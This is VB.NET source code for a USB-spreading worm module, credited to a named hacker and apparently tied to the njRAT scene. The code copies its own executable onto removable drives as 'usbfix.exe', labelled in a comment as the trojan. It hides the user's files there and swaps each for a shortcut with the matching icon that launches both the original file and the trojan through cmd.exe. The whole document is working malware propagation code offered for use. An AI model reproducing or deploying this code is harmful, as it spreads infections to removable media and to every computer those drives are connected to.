VB.NET usb spread (Yassinox_Tn)

Imports System.IO

Module spread
    ' By Yassinox_Tn
    ' Thanks For All tunisian Hackers
    ' Njq8 fixed Version
    Dim usbfix As String = "usbfix.exe" ' Trojan Name
    Function clearall()
        Dim usbs As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
        Dim driver() As String = (IO.Directory.GetLogicalDrives)
        For Each usbs In driver
            If usbs.Contains("C:\") = False Then
                If usbs.Contains("D:\") = False Then
                    File.Delete(usbs + usbfix)
                    Dim usbdir As New DirectoryInfo(usbs)
                    Dim files As FileInfo() = usbdir.GetFiles()
                    Dim fi As FileInfo
                    For Each fi In files
                        Dim filess As String = fi.Name
                        File.SetAttributes(usbs + filess, FileAttributes.Normal)
                        If filess.Contains(".lnk") = True Then
                            File.Delete(usbs + filess)
                        End If
                    Next
                End If
            End If

        Next
    End Function
    Function GetIcon(ByVal ext As String) As String
        Try
            Dim r = Microsoft.Win32.Registry _
            .LocalMachine.OpenSubKey("Software\Classes\", False)
            Dim e As String = r.OpenSubKey(r.OpenSubKey(ext, False) _
            .GetValue("") & "\DefaultIcon\").GetValue("", "")
            If e.Contains(",") = False Then e &= ",0"
            Return e
        Catch ex As Exception
            Return ".exe"
        End Try
    End Function
    Public Function createshortcut(ByVal usbs As String, ByVal filename As String)
        Dim wsh As Object = CreateObject("WScript.Shell")
        wsh = CreateObject("WScript.Shell")
        Dim fileshot = wsh.CreateShortcut(usbs + filename + ".lnk")
        fileshot.TargetPath = "cmd.exe"
        fileshot.Arguments = "/c start " + filename + " &start " + usbfix
        fileshot.IconLocation = GetIcon(IO.Path.GetExtension(filename))
        fileshot.WorkingDirectory = wsh.ExpandEnvironmentStrings(usbs)
        fileshot.Save()
    End Function
    Public Function start(ByVal usbs As String)
        Try
            If usbs.Contains("C:\") = False Then
                Dim usbdir As New DirectoryInfo(usbs)
                Dim files As FileInfo() = usbdir.GetFiles()
                Dim fi As FileInfo
                For Each fi In files
                    Dim filename As String = fi.Name
                    If filename.Contains(".lnk") = False Then
                        File.SetAttributes(usbs + filename, FileAttributes.Hidden)
                        If filename.Contains(usbfix) = False Then
                            createshortcut(usbs, filename)
                        End If
                    End If
                Next fi
            End If

        Catch
        End Try
    End Function
    Public Function usbspreed()
        Dim usbs As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
        Dim driver() As String = (IO.Directory.GetLogicalDrives)
        For Each usbs In driver
            If usbs.Contains("C:\") = False Then
                If usbs.Contains("D:\") = False Then
                    If File.Exists(usbs + usbfix) = False Then
                        File.Copy(Application.ExecutablePath, usbs + usbfix)
                    End If

                End If
            End If
            start(usbs)
        Next
    End Function
End Module